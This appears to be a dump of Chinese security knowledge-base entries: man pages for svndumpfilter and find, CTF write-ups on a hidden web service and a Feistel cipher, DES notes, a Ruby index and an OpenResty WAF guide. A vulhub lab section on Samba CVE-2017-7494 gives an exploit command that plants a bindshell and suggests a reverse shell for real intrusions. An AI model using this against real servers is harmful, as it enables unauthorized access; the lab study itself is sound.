text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
.\" You can view this file with:
.\" nroff -man [filename]
.\"
.TH svndumpfilter 1
.SH NAME
svndumpfilter \- 过滤一个 Subversion 仓库的转储文件 `dumpfile'。
.SH "SYNOPSIS 总览"
.TP
\fBsvndumpfilter\fP \fIcommand\fP [\fIoptions\fP & \fIargs\fP]
.SH "OVERVIEW 概述"
Subversion 是一个版本控制系统,允许保存旧版本的文件和目录 (通常是源代码),
保存一个记录何人,何时,为何作出修改等等信息的日志,与 CVS,RCS 或者
SCCS 工具类似。\fBSubversion\fP 保存着主控源文件的单一拷贝。这份拷贝被称
为代码 ``仓库'' (``repository'');它包含所有的信息,从而可以从中获取这些文
件在先前任何时间的版本。
要获得有关 Subversion 项目的更多信息,请访问
http://subversion.tigris.org。
Subversion 及其工具的文档,包括对 \fBsvn\fP,\fBsvnadmin\fP,
\fBsvnserve\fP 和 \fBsnvlook\fP 程序详细的使用说明和解释,历史背景,哲学
探讨和追求等等,可以从http://svnbook.red-bean.com/ 找到。
运行 `svndumpfilter help' 来阅读内建的工具文档。
|
sec-knowleage
|
# Super Secret Hidden Service
Web, 50 points
## Description:
> https://138.247.13.115
## Solution:
Trying to access the website, we get an error that the certificate provided by the server is not trusted.
If we try to bypass this with `curl -k`, we get:
```
421 Site 138.247.13.115 is not served on this interface
```
Let's inspect the certificate:
```console
root@kali:/media/sf_CTFs/mitre/SuperSecretHiddenService# openssl x509 -in CaddySelfSigned.crt -inform der -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
8c:96:2c:fd:b5:7c:b8:a9:ab:38:8b:bf:07:0a:80:e6
Signature Algorithm: ecdsa-with-SHA256
Issuer: O = Caddy Self-Signed
Validity
Not Before: Feb 22 17:44:31 2019 GMT
Not After : Mar 1 17:44:31 2019 GMT
Subject: O = Caddy Self-Signed
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (256 bit)
pub:
04:1b:56:82:6f:a8:f9:a3:4c:06:a8:1f:da:59:ea:
ef:a1:cd:c2:97:af:28:c7:ab:dc:b1:73:15:63:62:
be:6c:c3:13:f4:91:6e:7f:ce:e3:6d:19:a0:9b:38:
29:19:4e:c9:d8:04:b9:72:22:d4:48:3d:9d:de:32:
5c:3b:62:e0:f0
ASN1 OID: prime256v1
NIST CURVE: P-256
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Subject Alternative Name:
DNS:138.247.13.115.xip.io
Signature Algorithm: ecdsa-with-SHA256
30:45:02:21:00:a9:95:71:a7:5e:06:ee:14:9d:1c:90:35:d8:
b2:15:40:53:5f:2b:d5:20:c5:15:1b:db:12:3d:69:70:6c:4f:
59:02:20:03:ad:a6:68:d0:7e:a5:e4:86:0b:16:d4:8f:1d:f1:
5a:64:02:eb:11:13:3e:a1:ce:f5:43:8e:a7:b1:1d:90:bb
```
The certificate is issued to `138.247.13.115.xip.io`.
We try to access this FQDN and get the flag:
```
root@kali:/media/sf_CTFs/mitre/SuperSecretHiddenService# curl -k https://138.247.13.115.xip.io
Flag is: MCA{shuHeimoowaiF5a}
```
|
sec-knowleage
|
### DES基本介绍
Data Encryption Standard(DES),数据加密标准,是典型的块加密,其基本信息如下
- 输入 64 位。
- 输出 64 位。
- 密钥 64 位,使用 64 位密钥中的 56 位,剩余的 8 位要么丢弃,要么作为奇偶校验位。
- Feistel 迭代结构
- 明文经过 16 轮迭代得到密文。
- 密文经过类似的 16 轮迭代得到明文。
### DES加密流程
我们可以考虑一下每一轮的加密过程
$L_{i+1}=R_i$
$R_{i+1}=L_i\oplus F(R_i,K_i)$
那么在最后的 Permutation 之前,对应的密文为$(R_{n+1},L_{n+1})$。
### DES解密流程
那么解密如何解密呢?首先我们可以把密文先进行逆置换,那么就可以得到最后一轮的输出。我们这时考虑每一轮
$R_i=L_{i+1}$
$L_i=R_{i+1}\oplus F(L_{i+1},K_i)$
因此,$(L_0,R_0)$ 就是加密时第一次置换后的明文。我们只需要再执行逆置换就可以获得明文了。
可以看出,DES 加解密使用同一套逻辑,只是密钥使用的顺序不一致。
### DES核心部件
DES 中的核心部件主要包括(这里只给出加密过程的)
- 初始置换
- F 函数
- E 扩展函数
- S 盒,设计标准未给出。
- P 置换
- 最后置换
如果对 DES 更加感兴趣,可以进行更加仔细地研究。欢迎提供 PR。
### DES衍生
在 DES 的基础上,衍生了以下两种加密方式
- 双重 DES
- 三种 DES
### 双重 DES介绍
双重 DES 使用两个密钥,长度为 112 比特。加密方式如下
$C=E_{k2}(E_{k1}(P))$
但是双重 DES 不能抵抗中间相遇攻击,我们可以构造如下两个集合
$I={E_{k1}(P)}$
$J=D_{k2}(C)$
即分别枚举 K1 和 K2 分别对 P 进行加密和对 C 进行解密。
在我们对 P 进行加密完毕后,可以对加密结果进行排序,这样的复杂度为$2^nlog(2^n)=O(n2^n)$
当我们对 C 进行解密时,可以每解密一个,就去对应的表中查询。
总的复杂度为还是$O(n2^n)$。
### 三重 DES介绍
三重 DES 的加解密方式如下
$C=E_{k3}(D_{k2}(E_{k1}(P)))$
$P=D_{k1}(E_{k2}(D_{k3}(C)))$
在选择密钥时,可以有两种方法
- 3 个不同的密钥,k1,k2,k3 互相独立,一共 168 比特。
- 2 个不同的密钥,k1 与 k2 独立,k3=k1,112 比特。
### DES攻击方法分类
- 差分攻击
- 线性攻击
|
sec-knowleage
|
# Speed-Ruby
---
## 关于 Ruby
- Ruby 是脚本语言
用 C 或者 Java 语言编写的程序,在运行前需要执行编译这一步骤,把源码翻译成计算机可以理解的机器码。而用脚本语言编写的源码并不需要编译,直接运行程序便可。
也就是说,在使用脚本语言时,开发流程会从 `源码编写 → 源码编译 → 程序运行`
变为 `源码编写 → 程序运行`
- Ruby 是面向对象的语言
- Ruby 是跨平台的语言
- Ruby 是开源软件
---
## 入门
* [入门1](./入门/入门1.md)
* [入门2-对象](./入门/入门2-对象.md)
* [入门3-创建命令](./入门/入门3-创建命令.md)
## 基础
* [对象、变量和常量](./基础/对象、变量和常量.md)
* [条件判断](./基础/条件判断.md)
* [循环](./基础/循环.md)
* [方法](./基础/方法.md)
* [类和模块](./基础/类和模块.md)
* [运算符](./基础/运算符.md)
* [错误处理与异常](./基础/错误处理与异常.md)
* [块](./基础/块.md)
* [数值](./基础/数值.md)
* [数组](./基础/数组.md)
* [字符串](./基础/字符串.md)
* [散列](./基础/散列.md)
## 模块
* [File类与Dir类](./模块/File类与Dir类.md)
* [Encoding 类](./模块/Encoding类.md)
* [IO](./模块/IO.md)
* [Proc 类](./模块/Proc类.md)
* [Time 类与 Date 类](./模块/Time类与Date类.md)
* [正则](./模块/正则.md)
## 知识点
* [并发与线程](./笔记/并发与线程.md)
* [Socket编程](./笔记/Socket编程.md)
---
**`__FILE__`**
```
if __FILE__ == $0
```
__FILE__ 是一个魔法值,它存有现在运行的脚本文件的名字。`$0` 是启动脚本的名字。 代码里的比较结构的意思是 “如果这是启动脚本的话…” 这允许代码作为库调用的时候不运行启动代码, 而在作为执行脚本的时候调用启动代码。
|
sec-knowleage
|
# Samba 远程命令执行漏洞(CVE-2017-7494)
运行测试环境
```
docker compose up -d
```
Samba版本:4.6.3(该漏洞在4.6.4被修复)
## 原理
Samba允许连接一个远程的命名管道,并且在连接前会调用`is_known_pipename()`函数验证管道名称是否合法。在`is_known_pipename()`函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。
该漏洞要求的利用条件:
- 拥有共享文件写入权限,如:匿名可写等
- 需要知道共享目录的物理路径
参考:
- https://medium.com/@lucideus/sambacry-rce-exploit-lucideus-research-3a3e5bd9e17c
- https://github.com/opsxcq/exploit-CVE-2017-7494
- http://bobao.360.cn/learning/detail/3900.html
## 测试过程
测试环境运行后,监听445端口,默认开启了一个共享“myshare”,共享的目录为`/home/share`,可读可写。
我们可以在Linux下用smbclient(安装:`apt install smbclient`)连接试试:

成功连接。大家测试的时候如果连接不成功,有可能是国内运营商封了445端口,最好在本地或虚拟机测试,比如上图。
参考[#224](https://github.com/vulhub/vulhub/issues/224),新版metasploit可能无法复现这个漏洞。我们使用<https://github.com/opsxcq/exploit-CVE-2017-7494>来复现。
在目标服务器上执行`/home/share/libbindshell-samba.so`,其中myshare是分享名称(在vulhub中为`myshare`),而`/home/share`是对应的可写目录。`-u`和`-p`用来指定用户名、密码,当前环境是一个匿名smb,所以填写任意信息均可。因为libbindshell-samba.so是一个bindshell,监听地址是6699,所以我们通过`-P`指定这个端口。在实际渗透中,我们可以修改`libbindshell-samba.c`,写入任意其他代码,如反弹shell,避免使用bindshell。
```
./exploit.py -t your-ip -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699
```
成功执行命令:

|
sec-knowleage
|
# Feistel (crypto, 300p)
In the task we get a [plaintext-ciphertext pair](pt-ct.txt) and [encrypted flag](flag.txt).
We also get a description of the encryption algorithm - it's a classic Feistel cipher, but the function F applied in the iterations is simply XOR with deterministic round key.
This means the round keys for the known PT-CT pair are the same as for the encrypted flag!
If we write down what are the possible outcomes from the encryption we can notice a pattern:
```
C1 = PT1 ^ PT2 ^ K1
C2 = C1 ^ P2 ^ K2 = (PT1 ^ PT2 ^ K1) ^ P2 ^ K2 = PT1 ^ K1 ^ K2
C3 = C1 ^ C2 ^ K3 = (PT1 ^ PT2 ^ K1) ^ (PT1 ^ K1 ^ K2) ^ K3 = PT2 ^ K2 ^ K3
C4 = C2 ^ C3 ^ K4 = (PT1 ^ K1 ^ K2) ^ (PT2 ^ K2 ^ K3) ^ K4 = PT1 ^ PT2 ^ K1 ^ K3 ^ K4
C5 = C4 ^ C3 ^ K5 = ... = PT1 ^ K1 ^ K2 ^ K4 ^ K5
```
It loops like this, so that in the resulting ciphertexts we have either `PT1 ^ KX` or `PT2 ^ KX` or `PT1 ^ PT2 ^ KX`, where `KX` is XOR of some round keys.
It's easy to notice that we can XOR given `C` with `PT1`, `PT1` or `PT1 ^ PT2` to recover the `KX`, and then XOR this again with flag ciphertexts, in order to decrypt them.
W do this with a simple script:
```python
from crypto_commons.generic import long_to_bytes, chunk, is_printable
def main():
pt = '010000010110111000100000011000010111000001110000011011000110010100100000011000010110111001100100001000000110000101101110001000000110111101110010011000010110111001100111011001010010000001110111011001010110111001110100001000000111010001101111001000000101010001110010011001010110111001100100'
ct = '000100100011000101110101001101100110001100110001001110100011110101100000011110010010111000110011001110000000110100100101011111000011000000100001010000100110011100100001011000000111001101110100011011100110000000100000011011010110001001100100001011010110111001100110001010110110110101110001'
flag = '000000110000111001011100001000000001100100101100000100100111111000001001000001100000001100001001000100100010011101001010011000010111100100100010010101110100010001000010010101010100010101111111010001000110000001101001011111110111100001100101011000010010001001001011011000100111001001101011'
print(long_to_bytes(int(pt, 2)))
pt1, pt2 = tuple(map(lambda x: int(x, 2), chunk(pt, len(ct) / 2)))
ct1, ct2 = tuple(map(lambda x: int(x, 2), chunk(ct, len(ct) / 2)))
f1, f2 = tuple(map(lambda x: int(x, 2), chunk(flag, len(ct) / 2)))
for x in [pt1, pt2, pt1 ^ pt2]:
for y in [ct1, ct2, ct1 ^ ct2]:
for z in [f1, f2, f1 ^ f2]:
result = long_to_bytes(x ^ y ^ z)
if is_printable(result):
print(result)
main()
```
And we get the flag: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
|
sec-knowleage
|
.TH FIND 1 \" -*- nroff -*-
.SH NAME
find \- 递归地在层次目录中处理文件
.SH 总览 SYNOPSIS
.B find
[path...] [expression]
.SH 描述 DESCRIPTION
这个文档是GNU版本
.BR find
命令的使用手册。
.B find
搜索目录树上的每一个文件名,它从左至右运算给定的表达式,按照优先规则(见运
算符OPERATORS一节)进行匹配,直到得出结果(左边运算在 '与' 操作中得出假,
在'或' 操作中得出真),然后
.B find
移向下一个文件名。
.PP
第一个以 '\-' , '(' , ')' , ',' 或 '!' 这些字符起始的参数是表达式的开始;
在它之前的任何参数是要搜索的路径,在它之后的任何参数都是表达式的余下部分。
如果没有路径参数,缺省用当前目录。如果没有表达式,缺省表达式
用 '\-print'.
.PP
当所有文件都成功处理时
.B find
退出并返回状态值0。如果发生错误则返回一个大于0的值。
.SH 表达式 EXPRESSIONS
.P
表达式是由\fB选项\fR(选项总是影响所有的操作, 而不仅仅是一个指定的文件的处
理, 而且总是返回真值),\fB测试\fR(测试返回一个真值或一个假值),还有\fB动
作\fR(动作有side effects, 返回一个真值或假值) 组成。它们都以运算符分开.忽
略运算符的时候,默认使用 \-and 连接. 如果表达式没有包含 \-prune 以外的动
作,当表达式为真时会执行 \-print 动作。
.SS 选项 OPTIONS
.P
所有的选项都总是返回真值,它们总会被执行,除非放在表达式中执行不到的地方。
因此,清楚起见,最好把它们放在表达式的开头部分。
.IP \-daystart
从当日起始时开始而不是从24小时之前,计算时间(for \-amin, \-atime,
\-cmin, \-ctime, \-mmin, and \-mtime)。
.IP \-depth
先处理目录的内容再处理目录本身。
.IP \-follow
不检索符号链接。隐含了 \-noleaf。
.IP "\-help, \-\-help"
列出
.B find
的命令行用法的概要,然后退出。
.IP "\-maxdepth \fIlevels\fR"
进入命令行参数指定的目录下层目录时,最深不超过\fIlevels\fR(一个非负整数)
层。`\-maxdepth 0' 意味着只在命令行参数指定的目录中执行测试和动作。
.IP "\-mindepth \fIlevels\fR"
不在\fIlevels\fR(一个非负整数)层之内执行任何测试和动作。`\-mindepth 1'意
味着处理所有的文件,除了命令行参数指定的目录中的文件。
.IP \-mount
不进入处于其它文件系统之上的目录。可以用\-xdev代替,从而和一些其他版本的
.BR find
兼容。
.IP "\-noleaf"
不为\(lq目录中子目录数量比硬连接数少2\(rq这种假设做优化。这个选项在搜索那些不遵
循UNIX文件系统链接约定的文件系统时用,比如CD-ROM,MS-DOS文件系统或AFS卷的
加载点。在普通的UNIX文件系统中,每个目录至少有两个硬连接,它的名字和它
的 '.' 条目。另外,它的子目录(假如有)还会各有一个 '..' 链接到它。在
.B find
检索一个目录时,发现子目录数比它的连接数少二时,它就知道目录中的其他条目
并非目录(而是目录树中的叶(`leaf')节点)。除非需要检索的是这个叶节点,否则
没必要去处理它。这样可以带来很大的搜索速度提升。
.IP "\-version, \-\-version"
打印\fBfind\fR的版本号然后退出。
.IP \-xdev
不进入处于其他文件系统之上的目录。
.SS 测试 TESTS
.P
数字参数可以这样给出:
.IP \fI+n\fP
是比
.IR n
大,
.IP \fI\-n\fP
是比
.IR n
小,
.IP \fIn\fP
正好是
.IR n
。
.IP "\-amin \fIn\fR"
对文件的最近一次访问是在 \fIn\fR 分钟之前。
.IP "\-anewer \fIfile\fR"
对文件的最近一次访问比 \fIfile\fR 修改时间要晚。如果命令行中 \-follow 在 \-anewer 之前,(也只有在这种情况下) \-anewer 会受 \-follow 的影响。
.IP "\-atime \fIn\fR"
对文件的最近一次访问是在 \fIn\fR*24 小时之前。
.IP "\-cmin \fIn\fR"
对文件状态的最近一次修改是在 \fIn\fR 分钟之前。
.IP "\-cnewer \fIfile\fR"
对文件状态的最近一次修改比 \fIfile\fR 修改时间要晚。如果命令行中 \-follow 在 \-cnewer 之前,(也只有在这种情况下) \-cnewer 会受 \-follow 的影响。
.IP "\-ctime \fIn\fR"
对文件状态的最近一次修改是在 \fIn\fR*24 小时之前。
.IP \-empty
文件是空的普通文件或者空目录。
.IP \-false
总是false。
.IP "\-fstype \fItype\fR"
文件处于 \fItype\fR 类型的文件系统之上。有效的文件系统类型在不同版本的Unix中是不同的;一些Unix中的不完全的文件系统类型列表是这样:ufs, 4.2, 4.3, nfs, tmp, mfs, S51K, S52K. 你可以用 \-printf 加上 %F 指令来查看你的文件系统的类型。
.IP "\-gid \fIn\fR"
文件的数字形式的组ID是 \fIn\fR。
.IP "\-group \fIgname\fR"
文件属于 \fIgname\fR (也允许使用数字形式的组ID).
.IP "\-ilname \fIpattern\fR"
和 \-lname 类似,但是匹配时是不区分大小写的。
.IP "\-iname \fIpattern\fR"
和 \-name 类似,但是匹配时是不区分大小写的。例如,`fo*' and `F??' 模式与文件名 `Foo', `FOO', `foo', `fOo' 等等相匹配。
.IP "\-inum \fIn\fR"
文件的 i 结点数是 \fIn\fR。
.IP "\-ipath \fIpattern\fR"
和 \-path 类似,但是匹配时是不区分大小写的。
.IP "\-iregex \fIpattern\fR"
和 \-regex 类似, 但是匹配时是不区分大小写的。
.IP "\-links \fIn\fR"
文件有 \fIn\fR 个链接。
.IP "\-lname \fIpattern\fR"
文件是一个与\fIpattern\fR 匹配的符号链接。元字符不会对`/' 或 `.' 做特殊处理。
.IP "\-mmin \fIn\fR"
对文件数据的最近一次修改是在 \fIn\fR 分钟之前。
.IP "\-mtime \fIn\fR"
对文件数据的最近一次修改是在 \fIn\fR*24 小时之前。
.IP "\-name \fIpattern\fR"
基本的文件名(将路径去掉了前面的目录)与shell模式\fIpattern\fR相匹配。元字符(`*', `?', 还有`[]' ) 不会匹配文件名开头的`.' 。使用 \-prune 来略过一个目录及其中的文件。查看 \-path 的描述中的范例。
.IP "\-newer \fIfile\fR"
对文件的最近一次修改比 \fIfile\fR 修改时间要晚。如果命令行中 \-follow 在 \-newer 之前,(也只有在这种情况下) \-newer 会受 \-follow 的影响。
.IP \-nouser
没有符合文件的数字形式的用户ID的用户。
.IP \-nogroup
没有符合文件的数字形式的组ID的组。
.IP "\-path \fIpattern\fR"
文件名与shell模式\fIpattern\fR相匹配。元字符不会对`/' 或 `.' 做特殊处理。因此,例如:
.br
.in +1i
find . \-path './sr*sc'
.br
.in -1i
如果存在 './src/misc' 的话,会将它打印出来。想要忽略一个完整的目录树,应当使用\-prune 而不是检查目录树中所有的文件。例如:要跳过 'src/emacs' 目录和其中所有的文件和子目录,把其他找到的文件打印出来,应当这样:
.br
.in +1i
find . \-path './src/emacs' -prune -o -print
.br
.in -1i
.IP "\-perm \fImode\fR"
文件的权限位恰好是 \fImode\fR (八进制或符号)。
Symbolic modes use mode 0 as a point of departure.
.IP "\-perm \-\fImode\fR"
所有的权限位 \fImode\fR 都被设置了的文件。
.IP "\-perm +\fImode\fR"
任何权限位 \fImode\fR 被设置了的文件。
.IP "\-regex \fIpattern\fR"
文件名与正则表达式 \fIpattern\fR 匹配。这是对整个路径的匹配,不是搜索文件。例如,要匹配名为`./fubar3' 的文件,可以使用正则表达式 `.*bar.' 或者 `.*b.*3',但是不能用`b.*r3'。
.IP "\-size \fIn\fR[bckw]"
文件使用了 \fIn\fP 单位个存储单元。默认的单位是512字节的块,也可以用\fIn\fP后面加上 `b' 来指定这个值。其他的单位是字节,如果在 \fIn\fP 后面加上 `c' ;千字节(kB),如果在 \fIn\fP 后面加上`k' ;两字节的字,如果在 \fIn\fP 后面加上 `w' 。大小不会计入 indirect blocks,但是会计入没有真正分配空间的疏松文件中的块。
.IP \-true
总是true。
.IP "\-type \fIc\fR"
文件是 \fIc\fR 类型的。类型可取值如下:
.RS
.IP b
特殊块文件(缓冲的)
.IP c
特殊字符文件(不缓冲)
.IP d
目录
.IP p
命名管道 (FIFO)
.IP f
普通文件
.IP l
符号链接
.IP s
套接字
.IP D
门 (Solaris 特有)
.RE
.IP "\-uid \fIn\fR"
文件的数字形式的用户ID是 \fIn\fR 。
.IP "\-used \fIn\fR"
文件最后一次存取是在最后一次修改它的状态的 \fIn\fR 天之后。
.IP "\-user \fIuname\fR"
文件的所有者是 \fIuname\fR (也可以使用数字形式的用户ID).
.IP "\-xtype \fIc\fR"
和 \-type 相同,除非文件是一个符号链接。对于符号链接:如果没有给出 \-follow ,如果文件是一个指向 \fIc\fR 类型文件的链接,那么返回true;如果给出了 \-follow ,如果 \fIc\fR 是 `l' 那么返回true。换句话说,对于符号链接,\-xtype 检查那些 \-type 不检查的文件。
.SS 动作 ACTIONS
.IP "\-exec \fIcommand\fR ;"
执行 \fIcommand\fR;如果命令返回状态值0,那么 exec 返回true。所有
.B find
其余的命令行参数将作为提供给命令的参数,直到遇到一个由 `;' 组成的参数为止。命令的参数中,字符串 `{}' 将以正在处理的文件名替换。所有的 `{}' 都会被替换,不仅是在单独的一个参数中。有些版本的
.BR find
不是这样做的。
这些参数可能需要用 `\e' 来escape 或者用括号括住,防止它们被shell展开。命令是从起始目录执行的。
.IP "\-fls \fIfile\fR"
返回true;类似 \-ls 但是像 \-fprint 那样写入 \fIfile\fR。
.IP "\-fprint \fIfile\fR"
返回true;将文件全名打印到文件 \fIfile\fR 中。如果运行 \fBfind\fR 时 \fIfile\fR 不存在,那么它将被创建。如果它存在,它将被覆盖。文件名``/dev/stdout'' 和``/dev/stderr'' 会作特殊处理;它们分别指的是标准输出和标准错误输出。
.IP "\-fprint0 \fIfile\fR"
返回true;类似 \-print0 但是像 \-fprint 那样写入 \fIfile\fR。
.IP "\-fprintf \fIfile\fR \fIformat\fR"
返回true;类似 \-printf 但是像 \-fprint 那样写入 \fIfile\fR。
.IP "\-ok \fIcommand\fR ;"
类似 \-exec 但是会先向用户询问 (在标准输入); 如果回应不是以 `y' 或 `Y' 起始则不会运行 \fIcommand\fR 而是返回false。
.IP \-print
返回true;在标准输出打印文件全名,然后是一个换行符。
.IP \-print0
返回true;在标准输出打印文件全名,然后是一个null字符。这样可以使得处理 \fBfind\fR 的输出的程序可以正确地理解带有换行符的文件名。
.IP "\-printf \fIformat\fR"
返回true;在标准输出打印 \fIformat\fR , 解释 `\e' escape 还有 `%' 指令。字段宽度和精度可以像C函数 `printf' 那样来指定。与 \-print 不同的是, \-printf 在字符串末端不会添加一个新行。可用的escape 和指令如下:
.RS
.IP \ea
警告铃声
.IP \eb
回退
.IP \ec
立即停止以当前格式输出,刷新输出设备。
.IP \ef
表格结束
.IP \en
新行
.IP \er
回车
.IP \et
水平tab
.IP \ev
竖直tab
.IP \e\e
输出自身`\e'
.IP \eNNN
ASCII编码是NNN(八进制)的字符
.PP
在一个 `\e' 字符后面使用任何其他字符会被作为普通的字符,因此它们都会被打印出来。
.IP %%
输出自身`%'
.IP %a
文件最后一次存取的时间。格式是C函数 `ctime' 返回值的格式。
.IP %A\fIk\fP
文件最后一次存取的时间。格式以 \fIk\fR 指定,可以是 `@' 或者是C函数 `strftime' 的指令格式。下面列出了 \fIk\fR 可用的值;有一些并不是在所有系统上都可用,因为不同系统中 `strftime' 也不同。
.RS
.IP @
从 Jan. 1, 1970, 00:00 GMT 起的秒数
.PP
时间字段:
.IP H
小时 (00..23)
.IP I
小时 (01..12)
.IP k
小时 ( 0..23)
.IP l
小时 ( 1..12)
.IP M
分钟 (00..59)
.IP p
本地的 AM 或者 PM
.IP r
12小时格式的时间 (hh:mm:ss [AP]M)
.IP S
秒 (00..61)
.IP T
24小时格式的时间 (hh:mm:ss)
.IP X
本地的时间表示方法 (H:M:S)
.IP Z
时区(例如,EDT),如果不能决定时区就是空
.PP
日期字段:
.IP a
本地一星期中每天的名称的缩写(Sun..Sat)
.IP A
本地一星期中每天的全名,可变长度 (Sunday..Saturday)
.IP b
本地每月的名称的缩写 (Jan..Dec)
.IP B
本地每月的全名,可变长度 (January..December)
.IP c
本地的日期和时间表示 (Sat Nov 04 12:02:33 EST 1989)
.IP d
一个月当中的日子 (01..31)
.IP D
日期 (mm/dd/yy)
.IP h
与 b 相同
.IP j
一年当中的日子 (001..366)
.IP m
月份 (01..12)
.IP U
以星期日作为每周起始,一年当中的星期 (00..53)
.IP w
一星期当中的日子 (0..6)
.IP W
以星期一当作每周起始,一年当中的星期 (00..53)
.IP x
本地的日期表示 (mm/dd/yy)
.IP y
年份的最后两位 (00..99)
.IP Y
年份 (1970...)
.RE
.IP %b
文件大小,以512字节的块为单位 (四舍五入)。
.IP %c
文件状态最后一次修改的时间。格式是C函数 `ctime' 返回值的格式。
.IP %C\fIk\fP
文件状态最后一次修改的时间。格式以 \fIk\fR 指定,类似于%A。
.IP %d
文件在目录树中的深度;0 意味着文件是一个命令行参数。
.IP %f
去掉了前面的目录的文件名 (只剩下最后的成分)。
.IP %F
文件所在文件系统的类型;这个值可以为 \-fstype 所用。
.IP %g
文件的组名,如果组没有名称就是数字形式的组ID。
.IP %G
文件的数字形式的组ID。
.IP %h
文件名的前面的目录部分 (仅除去最后的成分)。
.IP %H
据以找到了文件的命令行参数。
.IP %i
文件的 i 结点号(16进制)。
.IP %k
文件大小,以1kB 的块为单位 (四舍五入)。
.IP %l
符号链接的目标 (如果文件不是一个符号链接,那么结果是空字符串)。
.IP %m
文件的权限位 (8进制)。
.IP %n
文件的硬连接数。
.IP %p
文件名。
.IP %P
文件名,去掉了据以找到了文件的命令行参数的名称部分。
.IP %s
文件大小,以字节为单位。
.IP %t
文件最后一次修改的时间。格式是C函数 `ctime' 返回值的格式。
.IP %T\fIk\fP
文件最后一次修改的时间。格式以 \fIk\fR 指定,类似于%A。
.IP %u
文件的用户名,如果用户没有名称就是数字形式的用户ID。
.IP %U
文件的数字形式的用户ID。
.PP
在一个 `%' 字符后面使用任何其他字符,`%' 将被忽略 (但是其他字符会被打印出来)。
.RE
.IP \-prune
如果没有给出 \-depth 则返回 true; 不进入当前目录。
.br
如果给出了 \-depth 则返回false; 没有效果。
.IP \-ls
返回true;以 `ls \-dils' 格式在标准输出列出文件。块以1kB 字节为单位计数,除非设置了环境变量POSIXLY_CORRECT,那样的话会使用 512字节的块。
.SS 运算符 OPERATORS
.P
以优先级高低顺序排列:
.IP "( \fIexpr\fR )"
强制为优先
.IP "! \fIexpr\fR"
如果 \fIexpr\fR 是false则返回true
.IP "\-not \fIexpr\fR"
与 ! \fIexpr\fR 相同
.IP "\fIexpr1 expr2\fR"
与 (隐含的默认运算符);如果 \fIexpr1\fR 为false则不会执行 \fIexpr2\fR
.IP "\fIexpr1\fR \-a \fIexpr2\fR"
与 \fIexpr1 expr2\fR 相同
.IP "\fIexpr1\fR \-and \fIexpr2\fR"
与 \fIexpr1 expr2\fR 相同
.IP "\fIexpr1\fR \-o \fIexpr2\fR"
或;如果 \fIexpr1\fR 为true 则不会执行 \fIexpr2\fR
.IP "\fIexpr1\fR \-or \fIexpr2\fR"
与 \fIexpr1\fR \-o \fIexpr2\fR 相同
.IP "\fIexpr1\fR , \fIexpr2\fR"
列表;\fIexpr1\fR 和 \fIexpr2\fR 都会被执行。\fIexpr1\fR 的值被忽略,列表的值是 \fIexpr2\fR的值
.SH "参见 SEE ALSO"
\fBlocate\fP(1L), \fBlocatedb\fP(5L), \fBupdatedb\fP(1L), \fBxargs\fP(1L)
\fBFinding Files\fP (Info 在线帮助, 或者是打印的版本)
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.B 11/01/2003
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# OpenResty实现waf
## 安装与使用
```
# 操作系统:centos7
# 解决依赖
yum install gcc.x86_64 gcc-c++.x86_64 openssl-devel.x86_64 pcre-devel.x86_64 -y
# 下载OpenResty
wget https://openresty.org/download/openresty-1.13.6.2.tar.gz
# 安装OpenResty
tar -xf openresty-1.13.6.2.tar.gz && cd openresty-1.13.6.2
./configure
gmake && gmake install
# 启动服务
/usr/local/openresty/nginx/sbin/nginx
# 停止服务
/usr/local/openresty/nginx/sbin/nginx -s quit
# 测试OpenResty
vim /usr/local/openresty/nginx/conf/nginx.conf
```
```
location /hello {
default_type text/html;
content_by_lua_block {
ngx.say("hello world")
}
}
```

```
# 重新载入配置文件
/usr/local/openresty/nginx/sbin/nginx -s reload
# 访问页面:http://10.10.10.5/hello
```

## 实现waf
```
# 下载waf
git clone https://github.com/unixhot/waf
# 复制到对应目录
mkdir /usr/local/openresty/nginx/conf/waf
cp -r waf/waf/* /usr/local/openresty/nginx/conf/waf
# 创建waf日志目录
mkdir /tmp/waf-log && chmod 777 /tmp/waf-log
# 修改waf配置,修改日志目录
vim /usr/local/openresty/nginx/conf/waf/config.lua
```
```
config_log_dir = "/tmp/waf-log"
```
### 配置waf
```
vim /usr/local/openresty/nginx/conf/nginx.conf
```
```
lua_shared_dict limit 50m;
lua_package_path "/usr/local/openresty/nginx/conf/waf/?.lua";
init_by_lua_file "/usr/local/openresty/nginx/conf/waf/init.lua";
access_by_lua_file "/usr/local/openresty/nginx/conf/waf/access.lua";
```

```
# 重启服务
# 访问测试页面:http://10.10.10.5/hello.sql
```

## waf的说明
### 规则说明
waf规则文件目录:/usr/local/openresty/nginx/conf/waf/rule-config
规则文件说明:可以在相应的规则中添加对应的值
```
args.rule:参数值规则
blackip.rule:黑名单IP
cookie.rule:Cookie值规则
post.rule:Post数据规则
url.rule:URL规则
useragent.rule:User-Agent规则
whiteip.rule:白名单IP
whiteurl.rule:白名单URL
```
### 配置说明
```
# waf的状态,on为开启,off为关闭
config_waf_enable = "on"
# 日志文件路径
config_log_dir = "/tmp/waf-log"
# 规则文件路径
config_rule_dir = "/usr/local/openresty/nginx/conf/waf/rule-config"
# 是否启用白名单url检测
config_white_url_check = "on"
# 是否启用白名单ip检测
config_white_ip_check = "on"
# 是否启用黑名单ip检测
config_black_ip_check = "on"
# 是否启用url检测
config_url_check = "on"
# 是否启用参数检测
config_url_args_check = "on"
# 是否启用user-agent检测
config_user_agent_check = "on"
# 是否启用cookie检测
config_cookie_check = "on"
# 是否启用cc检测
config_cc_check = "on"
# CC检测频率设置,num/time
config_cc_rate = "10/60"
# 是否启用post数据检测
config_post_check = "on"
```
根据配置可得,waf规则的优先级为:白名单--黑名单--规则检测(allow>deny)
## 参考资料
### 其它开源waf
* [loveshell&nginx lua waf](https://github.com/loveshell/ngx_lua_waf)
* [jx-sec 锦衣盾](https://github.com/jx-sec/jxwaf)
|
sec-knowleage
|
---
